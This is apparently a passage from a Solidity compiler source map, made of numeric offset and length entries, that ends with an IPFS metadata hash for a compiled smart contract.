;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5913:306::-;6001:6;6009;6017;6070:2;6058:9;6049:7;6045:23;6041:32;6038:52;;;6086:1;6083;6076:12;6038:52;6115:9;6109:16;6099:26;;6165:2;6154:9;6150:18;6144:25;6134:35;;6209:2;6198:9;6194:18;6188:25;6178:35;;5913:306;;;;;:::o;6224:251::-;6294:6;6347:2;6335:9;6326:7;6322:23;6318:32;6315:52;;;6363:1;6360;6353:12;6315:52;6395:9;6389:16;6414:31;6439:5;6414:31;:::i;9522:125::-;9587:9;;;9608:10;;;9605:36;;;9621:18;;:::i;10007:135::-;10046:3;10067:17;;;10064:43;;10087:18;;:::i;:::-;-1:-1:-1;10134:1:1;10123:13;;10007:135::o;10147:128::-;10214:9;;;10235:11;;;10232:37;;;10249:18;;:::i;10280:217::-;10320:1;10346;10336:132;;10390:10;10385:3;10381:20;10378:1;10371:31;10425:4;10422:1;10415:15;10453:4;10450:1;10443:15;10336:132;-1:-1:-1;10482:9:1;;10280:217::o;11036:127::-;11097:10;11092:3;11088:20;11085:1;11078:31;11128:4;11125:1;11118:15;11152:4;11149:1;11142:15;11168:980;11430:4;11478:3;11467:9;11463:19;11509:6;11498:9;11491:25;11535:2;11573:6;11568:2;11557:9;11553:18;11546:34;11616:3;11611:2;11600:9;11596:18;11589:31;11640:6;11675;11669:13;11706:6;11698;11691:22;11744:3;11733:9;11729:19;11722:26;;11783:2;11775:6;11771:15;11757:29;;11804:1;11814:195;11828:6;11825:1;11822:13;11814:195;;;11893:13;;-1:-1:-1;;;;;11889:39:1;11877:52;;11984:15;;;;11949:12;;;;11925:1;11843:9;11814:195;;;-1:-1:-1;;;;;;;12065:32:1;;;;12060:2;12045:18;;12038:60;-1:-1:-1;;;12129:3:1;12114:19;12107:35;12026:3;11168:980;-1:-1:-1;;;11168:980:1:o

ipfs://6d8bf89530d82142d3f4175d2fab18894eb9c3be0b48b4f4bdbc77da02ce3e21